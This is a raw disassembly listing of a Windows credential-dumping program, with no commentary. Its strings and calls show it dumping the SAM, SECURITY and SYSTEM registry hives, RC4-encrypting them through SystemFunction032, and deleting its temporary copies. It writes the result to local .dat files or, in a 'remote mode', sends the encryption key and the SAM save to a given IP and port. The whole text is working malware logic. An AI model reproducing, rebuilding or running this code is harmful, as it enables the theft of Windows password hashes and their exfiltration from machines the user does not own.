call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call rax
test eax, eax
je 0x1400030dd
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001010
mov r9, qword [rbp - 0x68]
lea r8, str.registry_debug_info__Y_m_d__H_M_S.data
mov edx, 0x100
lea rcx, [rbp + 0x8b0]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_wcsftime]
lea rax, [rbp + 0x8b0]
mov r9, r14
mov qword [rsp + 0x28], rax
lea r8, str._ls__ls_ls
lea rax, [rbp + 0xab0]
mov edx, 0x400
lea rcx, [rbp + 0x24e0]
mov qword [rsp + 0x20], rax
call fcn.140001e70
movups xmm0, xmmword [0x140006c50]
mov eax, dword [0x140006c80]
movups xmm1, xmmword [0x140006c60]
mov dword [rbp + 0x70], eax
movzx eax, word [0x140006c84]
movups xmmword [rbp + 0x40], xmm0
mov word [rbp + 0x74], ax
movups xmm0, xmmword [0x140006c70]
movups xmmword [rbp + 0x50], xmm1
movups xmmword [rbp + 0x60], xmm0
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1a
sub r8d, ecx
movsxd rax, r8d
movzx ecx, word [rbp + rax*2 + 0x40]
mov word [rsp + 0x70], cx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1a
sub r8d, ecx
movsxd rax, r8d
movzx ecx, word [rbp + rax*2 + 0x40]
mov word [rsp + 0x72], cx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1a
sub r8d, ecx
movsxd rax, r8d
movzx ecx, word [rbp + rax*2 + 0x40]
mov word [rsp + 0x74], cx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1a
sub r8d, ecx
movsxd rax, r8d
movzx ecx, word [rbp + rax*2 + 0x40]
mov word [rsp + 0x76], cx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1a
sub r8d, ecx
movsxd rcx, r8d
movzx edx, word [rbp + rcx*2 + 0x40]
mov word [rsp + 0x78], dx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
lea r8, str._ls_ls
mov word [rsp + 0x7c], si
mov r9d, eax
mov eax, 0x4ec4ec4f
imul r9d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1a
mov edx, 0x104
sub r9d, ecx
movsxd rax, r9d
lea r9, [rbp + 0xab0]
movzx ecx, word [rbp + rax*2 + 0x40]
lea rax, [rsp + 0x70]
mov word [rsp + 0x7a], cx
lea rcx, [rbp + 0x6a0]
mov qword [rsp + 0x20], rax
call fcn.140001e70
lea rax, [rbp + 0x6a0]
mov r12, 0xffffffffffffffff
inc r12
cmp word [rax + r12*2], si
jne 0x1400032b2
lea rcx, [r12 + 1]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r14, rax
test rax, rax
jne 0x1400032e0
lea rcx, str.____Memory_Allocation_Failed_for_ConvertToAsciiString
call fcn.140001010
mov r14, rsi
jmp 0x140003308
mov rcx, rsi
test r12, r12
je 0x140003304
nop dword [rax + rax]
movzx eax, byte [rbp + rcx*2 + 0x6a0]
mov byte [r14 + rcx], al
inc rcx
cmp rcx, r12
jb 0x1400032f0
mov byte [r14 + r12], sil
lea rax, [rbp + 0x6a0]
mov r9, rdi
lea r8, str._lsSAM__ls
mov qword [rsp + 0x20], rax
mov edx, 0x200
lea rcx, [rbp + 0x18c0]
call fcn.140001e70
lea rax, [rbp + 0x6a0]
mov r9, rdi
lea r8, str._lsSECURITY__ls
mov qword [rsp + 0x20], rax
mov edx, 0x200
lea rcx, [rbp + 0x1cc0]
call fcn.140001e70
lea rax, [rbp + 0x6a0]
mov r9, rdi
lea r8, str._lsSYSTEM__ls
mov qword [rsp + 0x20], rax
mov edx, 0x209
lea rcx, [rbp + 0x20c0]
call fcn.140001e70
test r15d, r15d
je 0x1400033ce
lea rdx, [rbp + 0x18c0]
lea rcx, str._i__Real_Reg_Commands:_t_s_n
call fcn.140001530
lea rdx, [rbp + 0x1cc0]
lea rcx, str._t_t_t_s_n
call fcn.140001530
lea rdx, [rbp + 0x20c0]
lea rcx, str._t_t_t_s_n
call fcn.140001530
lea rdx, [rbp + 0x24e0]
lea rcx, str._i__Dummy_Reg_Commands:__s_n_n
call fcn.140001530
lea rax, [rbp - 0x10]
mov r9d, r15d
mov qword [rsp + 0x30], rax
lea rdx, [rbp + 0x18c0]
lea rax, [rbp - 0x78]
mov r8d, ebx
mov qword [rsp + 0x28], rax
lea rcx, [rbp + 0x24e0]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
call fcn.140001590
test eax, eax
jne 0x14000342d
lea rcx, str.____Failed_to_Create_Process_to_Dump_SAM_n
call fcn.140001010
mov rbx, qword [rsp + 0x40]
mov r14, rsi
test rbx, rbx
je 0x14000460c
mov r12, qword [rbp - 0x80]
jmp 0x140002f9c
mov r12d, esi
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
mov rcx, r14
mov dword [rbp - 0x54], esi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x1400034e9
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, edi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, edi
xor edx, edx
mov rcx, rax
mov r13, rax
call sub.VCRUNTIME140.dll_memset
lea r9, [rbp - 0x54]
mov qword [rsp + 0x20], rsi
mov r8d, edi
mov rdx, r13
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1400034ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r14
lea rcx, str.____Error_Rading_File__s:__d
mov r8d, eax
call fcn.140001010
mov ebx, dword [rbp - 0x54]
mov rcx, r15
mov dword [rbp + 0x2d50], ebx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r13, r13
je 0x1400034e9
test ebx, ebx
jne 0x140003503
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
inc r12d
cmp r12d, 0x14
jl 0x140003430
jmp 0x14000352a
xorps xmm1, xmm1
lea rcx, str.___SAM_Save_Read:__.2f_MB_n
cvtsi2sd xmm1, rbx
mulsd xmm1, qword [0x140007ce0]
movq rdx, xmm1
call fcn.140001010
mov dword [rbp + 0x2d50], ebx
cmp r12d, 0x14
jne 0x14000355b
lea rcx, str.____Unable_to_Read_SAM_Save_n
call fcn.140001010
mov r14, rsi
mov r15, qword [rsp + 0x40]
test r15, r15
je 0x140004617
mov r15d, dword [rsp + 0x58]
mov r12, qword [rbp - 0x80]
jmp 0x140002f97
lea rax, [rbp + 0xa0]
mov dword [rbp - 0x50], 0x40
mov qword [rbp - 0x48], rax
lea rcx, str.Advapi32
mov eax, dword [rbp + 0x2d50]
mov dword [rbp - 0x68], eax
mov dword [rbp - 0x64], eax
mov dword [rbp - 0x4c], 0x40
mov qword [rbp - 0x60], r13
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x68]
call rax
test eax, eax
je 0x1400035e8
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001010
mov r15, qword [rsp + 0x40]
mov r14, rsi
test r15, r15
je 0x140004617
mov ecx, dword [rbp + 0x2d50]
mov r15d, dword [rsp + 0x58]
mov r12, qword [rbp - 0x80]
mov dword [rbp + 0x2d50], ecx
jmp 0x140002f97
lea rdx, [0x140006dac]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
test rax, rax
je 0x14000363c
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x140003624
mov rdx, r14
lea rcx, str._i___s_Deleted._n
call fcn.140001010
jmp 0x14000363c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r14
lea rcx, str.____Error_deleting_file__s:__d_n
mov r8d, eax
call fcn.140001010
mov r15d, dword [rsp + 0x58]
lea rax, [rbp - 0x10]
mov r8d, dword [rbp - 0x38]
lea rdx, [rbp + 0x1cc0]
mov qword [rsp + 0x30], rax
lea rcx, [rbp + 0x24e0]
lea rax, [rbp - 0x78]
mov r9d, r15d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
call fcn.140001590
test eax, eax
jne 0x1400036aa
lea rcx, str.____Failed_to_Create_Process_to_Dump_SECURITY_n
call fcn.140001010
mov r14, rsi
cmp qword [rsp + 0x40], rsi
je 0x140002da4
mov ecx, dword [rbp + 0x2d50]
mov r12, qword [rbp - 0x80]
mov dword [rbp + 0x2d50], ecx
jmp 0x140002f97
mov eax, dword [rbp + 0x2d50]
mov r12d, esi
mov dword [rbp + 0x2d50], eax
mov qword [rbp - 0x20], r13
nop dword [rax]
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
mov rcx, r14
mov dword [rbp - 0x58], esi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x1400037e9
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, edi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, edi
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x50], rax
mov rbx, rax
call sub.VCRUNTIME140.dll_memset
lea r9, [rbp - 0x58]
mov qword [rsp + 0x20], rsi
mov r8d, edi
mov rdx, rbx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140003763
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r14
lea rcx, str.____Error_Rading_File__s:__d
mov r8d, eax
call fcn.140001010
mov edi, dword [rbp - 0x58]
mov rcx, r15
mov dword [rbp + 0x2d58], edi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x1400037ee
test edi, edi
je 0x1400037ee
xorps xmm1, xmm1
lea rcx, str.___SECURITY_Save_Read:__.2f_MB_n
cvtsi2sd xmm1, rdi
mulsd xmm1, qword [0x140007ce0]
movq rdx, xmm1
call fcn.140001010
mov eax, dword [rbp + 0x2d50]
mov dword [rbp + 0x2d50], eax
mov qword [rsp + 0x50], rbx
mov dword [rbp + 0x2d58], edi
mov qword [rbp - 0x20], r13
mov rax, qword [rsp + 0x50]
mov r15, r13
mov r13, rbx
mov rbx, qword [rbp - 0x20]
mov rdi, rax
cmp r12d, 0x14
jne 0x140003808
lea rcx, str.____Unable_to_Read_SECURITY_Save_n
call fcn.140001010
mov r13, rbx
mov r14, rdi
jmp 0x14000353f
mov rbx, qword [rsp + 0x50]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
inc r12d
cmp r12d, 0x14
jl 0x1400036c0
jmp 0x1400037ba
mov r12d, dword [rbp + 0x2d58]
lea rcx, [rbp + 0xa0]
mov qword [rbp - 0x48], rcx
lea rcx, str.Advapi32
mov dword [rbp - 0x50], 0x40
mov dword [rbp - 0x4c], 0x40
mov dword [rbp - 0x68], r12d
mov dword [rbp - 0x64], r12d
mov qword [rbp - 0x60], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x68]
call rax
test eax, eax
je 0x1400038a2
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001010
mov rbx, qword [rsp + 0x40]
mov r14, r13
mov r13, r15
test rbx, rbx
je 0x14000460c
mov ecx, dword [rbp + 0x2d50]
mov r15d, dword [rsp + 0x58]
mov dword [rbp + 0x2d58], r12d
mov r12, qword [rbp - 0x80]
mov dword [rbp + 0x2d50], ecx
jmp 0x140002f9c
lea rdx, [0x140006dac]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
test rax, rax
je 0x1400038f6
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x1400038de
mov rdx, r14
lea rcx, str._i___s_Deleted._n
call fcn.140001010
jmp 0x1400038f6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r14
lea rcx, str.____Error_deleting_file__s:__d_n
mov r8d, eax
call fcn.140001010
mov r15d, dword [rsp + 0x58]
lea rax, [rbp - 0x10]
mov r8d, dword [rbp - 0x38]
lea rdx, [rbp + 0x20c0]
mov qword [rsp + 0x30], rax
lea rcx, [rbp + 0x24e0]
lea rax, [rbp - 0x78]
mov r9d, r15d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
call fcn.140001590
test eax, eax
jne 0x14000396e
lea rcx, str.____Failed_to_Create_Process_to_Dump_SYSTEM_n
call fcn.140001010
mov r14, rdi
mov r13, rbx
cmp qword [rsp + 0x40], rsi
je 0x140002da4
mov ecx, dword [rbp + 0x2d50]
mov dword [rbp + 0x2d58], r12d
mov r12, qword [rbp - 0x80]
mov dword [rbp + 0x2d50], ecx
jmp 0x140002f97
mov eax, dword [rbp + 0x2d58]
mov r12d, esi
mov dword [rbp + 0x2d58], eax
mov r13, rbx
mov eax, dword [rbp + 0x2d50]
mov dword [rbp + 0x2d50], eax
mov qword [rsp + 0x50], rdi
nop dword [rax]
nop word [rax + rax]
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
mov rcx, r14
mov dword [rsp + 0x60], esi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x140003a5f
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, edi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, edi
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x48], rax
mov rbx, rax
call sub.VCRUNTIME140.dll_memset
lea r9, [rsp + 0x60]
mov qword [rsp + 0x20], rsi
mov r8d, edi
mov rdx, rbx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140003a45
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r14
lea rcx, str.____Error_Rading_File__s:__d
mov r8d, eax
call fcn.140001010
mov edi, dword [rsp + 0x60]
mov rcx, r15
mov dword [rsp + 0x5c], edi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x140003a5f
test edi, edi
jne 0x140003aba
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
inc r12d
cmp r12d, 0x14
jl 0x1400039a0
mov rax, qword [rsp + 0x50]
mov rdi, rax
mov rax, qword [rsp + 0x48]
mov r15, rax
cmp r12d, 0x14
jne 0x140003b0b
lea rcx, str.____Unable_to_Read_SYSTEM_Save_n
call fcn.140001010
mov r15, qword [rsp + 0x40]
mov r14, qword [rsp + 0x50]
test r15, r15
je 0x1400045f1
mov r15d, dword [rsp + 0x58]
mov r12, qword [rbp - 0x80]
jmp 0x140002f97
xorps xmm1, xmm1
lea rcx, str.___SYSTEM_Save_Read:__.2f_MB_n
cvtsi2sd xmm1, rdi
mulsd xmm1, qword [0x140007ce0]
movq rdx, xmm1
call fcn.140001010
mov ecx, dword [rbp + 0x2d58]
mov rax, qword [rsp + 0x50]
mov dword [rbp + 0x2d58], ecx
mov ecx, dword [rbp + 0x2d50]
mov dword [rbp + 0x2d50], ecx
mov qword [rsp + 0x48], rbx
mov dword [rsp + 0x5c], edi
mov qword [rsp + 0x50], rax
jmp 0x140003a7c
mov r12d, dword [rsp + 0x5c]
lea rcx, [rbp + 0xa0]
mov qword [rbp - 0x48], rcx
lea rcx, str.Advapi32
mov dword [rbp - 0x50], 0x40
mov dword [rbp - 0x4c], 0x40
mov dword [rbp - 0x68], r12d
mov dword [rbp - 0x64], r12d
mov qword [rbp - 0x60], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x68]
call rax
test eax, eax
je 0x140003bb2
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001010
mov r12, r15
mov r14, rdi
cmp qword [rsp + 0x40], rsi
je 0x140002da7
mov eax, dword [rsp + 0x5c]
mov edx, dword [rbp + 0x2d58]
mov ecx, dword [rbp + 0x2d50]
mov r12, qword [rbp - 0x80]
mov qword [rsp + 0x48], r15
mov r15d, dword [rsp + 0x58]
mov dword [rsp + 0x5c], eax
mov dword [rbp + 0x2d58], edx
mov dword [rbp + 0x2d50], ecx
jmp 0x140002f97
lea rdx, [0x140006dac]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
test rax, rax
je 0x140003c06
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x140003bee
mov rdx, r14
lea rcx, str._i___s_Deleted._n
call fcn.140001010
jmp 0x140003c06
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r14
lea rcx, str.____Error_deleting_file__s:__d_n
mov r8d, eax
call fcn.140001010
lea rcx, [0x140006c2c]
call fcn.140001010
mov eax, dword [rbp + 0x2d58]
mov r14, qword [rsp + 0x50]
mov dword [rbp + 0x2d58], eax
mov eax, dword [rbp + 0x2d50]
mov qword [rsp + 0x48], r15
mov r15d, dword [rsp + 0x58]
mov dword [rsp + 0x5c], r12d
mov r12, qword [rbp - 0x80]
mov dword [rbp + 0x2d50], eax
jmp 0x140002f97
mov rcx, qword [rsp + 0x40]
mov r9, rbx
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rax, rdi
je 0x140003c7c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r15
lea rcx, str.____Error_Writing_to_File__s:__ld_n
mov r8d, eax
call fcn.140001010
jmp 0x140003c8b
mov rdx, r15
lea rcx, str._i___s_Written_to_Disk._n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r13, r13
je 0x140003ee0
test r14, r14
je 0x140003ee0
cmp qword [rsp + 0x48], rsi
je 0x140003ee0
mov edx, 0x104
lea rcx, [rbp + 0x120]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__getcwd]
test eax, eax
jne 0x140003cd8
lea rcx, str.____Unable_to_Get_Current_Directory_
call fcn.140001010
jmp 0x140003ee0
lea r8, [rbp + 0x120]
lea rdx, str._s_sam.dat
lea rcx, [rbp + 0x230]
call fcn.140001ed0
lea r8, [rbp + 0x120]
lea rdx, str._s_security.dat
lea rcx, [rbp + 0x340]
call fcn.140001ed0
lea r8, [rbp + 0x120]
lea rdx, str._s_system.dat
lea rcx, [rbp + 0x450]
call fcn.140001ed0
mov r15d, dword [rbp + 0x2d50]
lea rdx, [0x140006c88]
lea rcx, [rbp + 0x230]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbx, rax
test rax, rax
jne 0x140003d67
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [rbp + 0x230]
lea rcx, str.____Error_opening_file__s:__ld_n
call fcn.140001010
jmp 0x140003dba
mov r9, rbx
mov r8, r15
mov edx, 1
mov rcx, r13
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rax, r15
je 0x140003d9e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [rbp + 0x230]
lea rcx, str.____Error_Writing_to_File__s:__ld_n
call fcn.140001010
jmp 0x140003db1
lea rdx, [rbp + 0x230]
lea rcx, str._i___s_Written_to_Disk._n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov edi, dword [rbp + 0x2d58]
lea rdx, [0x140006c88]
lea rcx, [rbp + 0x340]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbx, rax
test rax, rax
jne 0x140003dfa
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [rbp + 0x340]
lea rcx, str.____Error_opening_file__s:__ld_n
call fcn.140001010
jmp 0x140003e4d
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rax, rdi
je 0x140003e31
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [rbp + 0x340]
lea rcx, str.____Error_Writing_to_File__s:__ld_n
call fcn.140001010
jmp 0x140003e44
lea rdx, [rbp + 0x340]
lea rcx, str._i___s_Written_to_Disk._n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov edi, dword [rsp + 0x5c]
lea rdx, [0x140006c88]
lea rcx, [rbp + 0x450]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbx, rax
test rax, rax
jne 0x140003e8b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [rbp + 0x450]
lea rcx, str.____Error_opening_file__s:__ld_n
call fcn.140001010
jmp 0x140003ee0
mov rcx, qword [rsp + 0x48]
mov r9, rbx
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rax, rdi
je 0x140003ec4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [rbp + 0x450]
lea rcx, str.____Error_Writing_to_File__s:__ld_n
call fcn.140001010
jmp 0x140003ed7
lea rdx, [rbp + 0x450]
lea rcx, str._i___s_Written_to_Disk._n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rcx, str._i__Key:
call fcn.140001010
nop dword [rax]
movzx edx, byte [rbp + rsi + 0xa0]
lea rcx, str._02x
call fcn.140001010
inc rsi
cmp rsi, 0x40
jb 0x140003ef0
lea rcx, [0x140006c2c]
call fcn.140001010
cmp qword [rsp + 0x40], 0
je 0x140003f37
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x40]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r13, r13
je 0x140003f50
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r13
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r14, r14
je 0x140003f69
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r14
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x48]
test rbx, rbx
je 0x140003f87
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbp]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rbp + 8]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, r12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rcx, str.___All_done__n_n
call fcn.140001010
xor eax, eax
jmp 0x14000236e
lea rcx, str._i__Remote_Mode_Selected_n
call fcn.140001010
psrldq xmm6, 8
movq rcx, xmm6
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
mov rdi, rax
test rax, rax
jne 0x140003fed
lea rcx, str.strdup_failed
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
jmp 0x1400045be
mov edx, 0x3a
mov rcx, rdi
call qword [sym.imp.VCRUNTIME140.dll_strchr]
mov rbx, rax
test rax, rax
je 0x1400045b5
mov r8d, send
mov byte [rax], sil
mov rdx, rdi
lea rcx, [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
lea rcx, [rbx + 1]
mov byte [rbp - 0x59], sil
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
lea r8, [rsp + 0x58]
mov ecx, 2
lea rdx, [rbp - 0x68]
movsxd rbx, eax
call qword [sym.imp.WS2_32.dll_inet_pton]
cmp eax, 1
jne 0x1400045b5
mov ecx, dword [rsp + 0x58]
call qword [sym.imp.WS2_32.dll_ntohl]
mov edx, eax
mov rcx, rdi
shl rdx, 0x10
or rdx, rbx
mov qword [rbp - 0x78], rdx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test r15d, r15d
je 0x140004080
mov rdx, qword [rbp - 0x78]
lea rcx, str._i__Encrypting_key_with:__llu_n
call fcn.140001010
lea rax, [rbp - 0x78]
mov dword [rbp - 0x50], 8
mov qword [rbp - 0x48], rax
lea rcx, str.Advapi32
lea rax, [rbp + 0xe0]
mov dword [rbp - 0x4c], 8
mov qword [rbp - 8], rax
mov dword [rbp - 0x10], 0x40
mov dword [rbp - 0xc], 0x40
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x10]
call rax
test eax, eax
je 0x1400040f2
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001010
mov r12, qword [rsp + 0x48]
jmp 0x140002da7
cmp qword [rsp + 0x40], rsi
je 0x140004116
test r13, r13
je 0x140004110
test r14, r14
je 0x140004110
cmp qword [rsp + 0x48], rsi
je 0x140004110
mov byte [rbp + 0x40], sil
jmp 0x14000412b
mov byte [rbp + 0x40], 1
jmp 0x14000412b
test r13, r13
je 0x14000412b
test r14, r14
je 0x14000412b
cmp qword [rsp + 0x48], rsi
je 0x14000412b
mov byte [rbp + 0x40], 2
movups xmm0, xmmword [rbp + 0xe0]
lea rdx, [rbp - 0x68]
movups xmm1, xmmword [rbp + 0xf0]
lea rcx, str._i__Connecting_to__s:_d_n
movups xmmword [rbp + 0x41], xmm0
mov r8d, ebx
movups xmm0, xmmword [rbp + 0x100]
movups xmmword [rbp + 0x51], xmm1
movups xmm1, xmmword [rbp + 0x110]
movups xmmword [rbp + 0x61], xmm0
movups xmmword [rbp + 0x71], xmm1
call fcn.140001010
lea rcx, str._i__Sending_Encrypted_Key..._n
call fcn.140001010
mov edi, esi
nop dword [rax + rax]
mov r9d, 0x41
lea r8, [rbp + 0x40]
mov edx, ebx
lea rcx, [rbp - 0x68]
call fcn.140001cd0
test eax, eax
jne 0x1400041cc
lea rcx, str._i__Retrying..._n
call fcn.140001010
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 3
jl 0x140004180
jne 0x1400041cc
mov r15d, dword [rbp + 0x2d50]
lea rcx, str.____Failed_to_Transfer_Key__Saving_Locally_Instead._n
jmp 0x140004310
mov rax, qword [rsp + 0x48]
test r13, r13
je 0x140004328
test r14, r14
je 0x140004328
test rax, rax
je 0x140004328
lea rcx, str._i__Sending_Encrypted_SAM_Save..._n
call fcn.140001010
mov ecx, dword [rbp - 0x40]
